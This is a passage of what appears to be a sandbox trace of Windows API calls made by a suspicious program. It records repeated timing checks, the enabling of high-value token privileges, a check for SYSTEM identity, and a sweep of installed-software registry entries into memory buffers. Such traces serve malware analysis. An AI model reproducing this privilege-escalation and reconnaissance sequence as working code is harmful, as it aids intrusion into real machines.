0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.944] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0067.945] GetTickCount () returned 0x1fb5e [0068.083] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeImpersonatePrivilege", lpLuid=0x12ff58 | out: lpLuid=0x12ff58*(LowPart=0x1d, HighPart=0)) returned 1 [0068.085] GetCurrentProcess () returned 0xffffffff [0068.085] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff54 | out: TokenHandle=0x12ff54*=0xf8) returned 1 [0068.085] AdjustTokenPrivileges (in: TokenHandle=0xf8, DisableAllPrivileges=0, NewState=0x12ff44*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0068.085] CloseHandle (hObject=0xf8) returned 1 [0068.085] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeTcbPrivilege", lpLuid=0x12ff58 | out: lpLuid=0x12ff58*(LowPart=0x7, HighPart=0)) returned 1 [0068.086] GetCurrentProcess () returned 0xffffffff [0068.086] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff54 | out: TokenHandle=0x12ff54*=0xf8) returned 1 [0068.086] AdjustTokenPrivileges (in: TokenHandle=0xf8, DisableAllPrivileges=0, NewState=0x12ff44*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x7, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0068.086] CloseHandle (hObject=0xf8) returned 1 [0068.086] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeChangeNotifyPrivilege", lpLuid=0x12ff58 | out: lpLuid=0x12ff58*(LowPart=0x17, HighPart=0)) returned 1 [0068.086] GetCurrentProcess () returned 0xffffffff [0068.086] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff54 | out: TokenHandle=0x12ff54*=0xf8) returned 1 [0068.086] AdjustTokenPrivileges (in: TokenHandle=0xf8, DisableAllPrivileges=0, NewState=0x12ff44*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0068.086] CloseHandle (hObject=0xf8) returned 1 [0068.086] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeCreateTokenPrivilege", lpLuid=0x12ff58 | out: lpLuid=0x12ff58*(LowPart=0x2, HighPart=0)) returned 1 [0068.086] GetCurrentProcess () returned 0xffffffff [0068.086] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff54 | out: TokenHandle=0x12ff54*=0xf8) returned 1 [0068.086] AdjustTokenPrivileges (in: TokenHandle=0xf8, DisableAllPrivileges=0, NewState=0x12ff44*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x2, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0068.087] CloseHandle (hObject=0xf8) returned 1 [0068.087] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeBackupPrivilege", lpLuid=0x12ff58 | out: lpLuid=0x12ff58*(LowPart=0x11, HighPart=0)) returned 1 [0068.087] GetCurrentProcess () returned 0xffffffff [0068.087] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff54 | out: TokenHandle=0x12ff54*=0xf8) returned 1 [0068.087] AdjustTokenPrivileges (in: TokenHandle=0xf8, DisableAllPrivileges=0, NewState=0x12ff44*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0068.087] CloseHandle (hObject=0xf8) returned 1 [0068.087] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeRestorePrivilege", lpLuid=0x12ff58 | out: lpLuid=0x12ff58*(LowPart=0x12, HighPart=0)) returned 1 [0068.087] GetCurrentProcess () returned 0xffffffff [0068.087] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff54 | out: TokenHandle=0x12ff54*=0xf8) returned 1 [0068.087] AdjustTokenPrivileges (in: TokenHandle=0xf8, DisableAllPrivileges=0, NewState=0x12ff44*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0068.087] CloseHandle (hObject=0xf8) returned 1 [0068.087] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeIncreaseQuotaPrivilege", lpLuid=0x12ff58 | out: lpLuid=0x12ff58*(LowPart=0x5, HighPart=0)) returned 1 [0068.088] GetCurrentProcess () returned 0xffffffff [0068.088] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff54 | out: TokenHandle=0x12ff54*=0xf8) returned 1 [0068.088] AdjustTokenPrivileges (in: TokenHandle=0xf8, DisableAllPrivileges=0, NewState=0x12ff44*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0068.088] CloseHandle (hObject=0xf8) returned 1 [0068.088] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeAssignPrimaryTokenPrivilege", lpLuid=0x12ff58 | out: lpLuid=0x12ff58*(LowPart=0x3, HighPart=0)) returned 1 [0068.088] GetCurrentProcess () returned 0xffffffff [0068.088] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff54 | out: TokenHandle=0x12ff54*=0xf8) returned 1 [0068.088] AdjustTokenPrivileges (in: TokenHandle=0xf8, DisableAllPrivileges=0, NewState=0x12ff44*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x3, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0068.088] CloseHandle (hObject=0xf8) returned 1 [0068.088] GetCurrentProcess () returned 0xffffffff [0068.088] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x12ff70 | out: TokenHandle=0x12ff70*=0xf8) returned 1 [0068.088] GetTokenInformation (in: TokenHandle=0xf8, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x12ff6c | out: TokenInformation=0x0, ReturnLength=0x12ff6c) returned 0 [0068.088] GetLastError () returned 0x7a [0068.088] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x624ef8 [0068.088] GetTokenInformation (in: TokenHandle=0xf8, TokenInformationClass=0x1, TokenInformation=0x624ef8, TokenInformationLength=0x24, ReturnLength=0x12ff6c | out: TokenInformation=0x624ef8, ReturnLength=0x12ff6c) returned 1 [0068.088] ConvertSidToStringSidA () returned 0x1 [0068.088] lstrcmpA (lpString1="S-1-5-21-3785418085-2572485238-895829336-1000", lpString2="S-1-5-18") returned 1 [0068.090] LocalFree (hMem=0x61ac88) returned 0x0 [0068.090] LocalFree (hMem=0x624ef8) returned 0x0 [0068.090] CloseHandle (hObject=0xf8) returned 1 [0068.090] LocalAlloc (uFlags=0x40, uBytes=0x181) returned 0x6268f8 [0068.091] GetUserNameA (in: lpBuffer=0x6268f8, pcbBuffer=0x12ff7c | out: lpBuffer="EEBsYm5", pcbBuffer=0x12ff7c) returned 1 [0068.185] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12ef64 | out: ppstm=0x12ef64*=0x622e80) returned 0x0 [0068.186] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12ef60 | out: ppstm=0x12ef60*=0x623010) returned 0x0 [0068.186] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", phkResult=0x12ff70 | out: phkResult=0x12ff70*=0x104) returned 0x0 [0068.186] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x0, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="AddressBook", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.187] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.187] lstrlenA (lpString="\\") returned 1 [0068.187] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.187] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.187] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.187] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.187] lstrlenA (lpString="AddressBook") returned 11 [0068.187] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x626a88 [0068.187] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.187] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="AddressBook" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook" [0068.187] LocalFree (hMem=0x626e60) returned 0x0 [0068.187] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.187] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x0, lpData=0x0, lpcbData=0x12ef10*=0x0) returned 0x2 [0068.187] RegCloseKey (hKey=0x108) returned 0x0 [0068.187] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook", ulOptions=0x0, samDesired=0x20219, phkResult=0x12eee8 | out: phkResult=0x12eee8*=0x108) returned 0x0 [0068.187] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eee0, lpData=0x0, lpcbData=0x12eee4*=0x12eecc | out: lpType=0x12eee0*=0x0, lpData=0x0, lpcbData=0x12eee4*=0x0) returned 0x2 [0068.187] RegCloseKey (hKey=0x108) returned 0x0 [0068.187] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook", ulOptions=0x0, samDesired=0x20119, phkResult=0x12eebc | out: phkResult=0x12eebc*=0x108) returned 0x0 [0068.188] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eeb4, lpData=0x0, lpcbData=0x12eeb8*=0x12eea0 | out: lpType=0x12eeb4*=0x0, lpData=0x0, lpcbData=0x12eeb8*=0x0) returned 0x2 [0068.188] RegCloseKey (hKey=0x108) returned 0x0 [0068.188] LocalFree (hMem=0x626a88) returned 0x0 [0068.188] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x1, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Adobe Flash Player ActiveX", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.188] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.188] lstrlenA (lpString="\\") returned 1 [0068.188] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.188] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.188] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.188] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.188] lstrlenA (lpString="Adobe Flash Player ActiveX") returned 26 [0068.188] LocalAlloc (uFlags=0x40, uBytes=0xcf) returned 0x627248 [0068.188] lstrcpyA (in: lpString1=0x627248, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.188] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="Adobe Flash Player ActiveX" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player ActiveX") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player ActiveX" [0068.188] LocalFree (hMem=0x626e60) returned 0x0 [0068.188] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player ActiveX", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.188] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0x4f) returned 0x0 [0068.188] LocalAlloc (uFlags=0x40, uBytes=0xd0) returned 0x627320 [0068.188] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x627320, lpcbData=0x12ef10*=0x4f | out: lpType=0x0, lpData=0x627320*=0x43, lpcbData=0x12ef10*=0x4f) returned 0x0 [0068.188] RegCloseKey (hKey=0x108) returned 0x0 [0068.188] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x627320*=0x43, cb=0x4f, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x4f) returned 0x0 [0068.189] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player ActiveX", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.189] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x627320 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x1e) returned 0x0 [0068.189] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x626e60 [0068.189] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x1e | out: lpType=0x0, lpData=0x626e60*=0x41, lpcbData=0x12ef0c*=0x1e) returned 0x0 [0068.189] RegCloseKey (hKey=0x108) returned 0x0 [0068.189] lstrlenA (lpString="Adobe Flash Player ActiveX") returned 26 [0068.189] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x41, cb=0x1a, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x1a) returned 0x0 [0068.189] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x41, cb=0x1e, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x1e) returned 0x0 [0068.189] LocalFree (hMem=0x626e60) returned 0x0 [0068.189] LocalFree (hMem=0x627320) returned 0x0 [0068.189] LocalFree (hMem=0x627248) returned 0x0 [0068.189] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x2, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Adobe Flash Player Plugin", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.189] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.189] lstrlenA (lpString="\\") returned 1 [0068.189] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.189] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.190] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.190] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.190] lstrlenA (lpString="Adobe Flash Player Plugin") returned 25 [0068.190] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x627248 [0068.190] lstrcpyA (in: lpString1=0x627248, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.190] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="Adobe Flash Player Plugin" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player Plugin") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player Plugin" [0068.190] LocalFree (hMem=0x626e60) returned 0x0 [0068.190] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player Plugin", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.190] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0x4d) returned 0x0 [0068.190] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x627320 [0068.190] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x627320, lpcbData=0x12ef10*=0x4d | out: lpType=0x0, lpData=0x627320*=0x43, lpcbData=0x12ef10*=0x4d) returned 0x0 [0068.190] RegCloseKey (hKey=0x108) returned 0x0 [0068.190] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x627320*=0x43, cb=0x4d, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x4d) returned 0x0 [0068.190] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player Plugin", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.190] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x627320 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x1d) returned 0x0 [0068.190] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x626a88 [0068.190] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626a88, lpcbData=0x12ef0c*=0x1d | out: lpType=0x0, lpData=0x626a88*=0x41, lpcbData=0x12ef0c*=0x1d) returned 0x0 [0068.191] RegCloseKey (hKey=0x108) returned 0x0 [0068.191] lstrlenA (lpString="Adobe Flash Player Plugin") returned 25 [0068.191] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x41, cb=0x19, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x19) returned 0x0 [0068.191] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626a88*=0x41, cb=0x1d, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x1d) returned 0x0 [0068.191] LocalFree (hMem=0x626a88) returned 0x0 [0068.192] LocalFree (hMem=0x627320) returned 0x0 [0068.192] LocalFree (hMem=0x627248) returned 0x0 [0068.192] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x3, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Connection Manager", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.192] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.192] lstrlenA (lpString="\\") returned 1 [0068.192] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626a88 [0068.192] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.192] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.192] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.192] lstrlenA (lpString="Connection Manager") returned 18 [0068.192] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x626b48 [0068.192] lstrcpyA (in: lpString1=0x626b48, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.192] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="Connection Manager" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager" [0068.192] LocalFree (hMem=0x626a88) returned 0x0 [0068.192] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 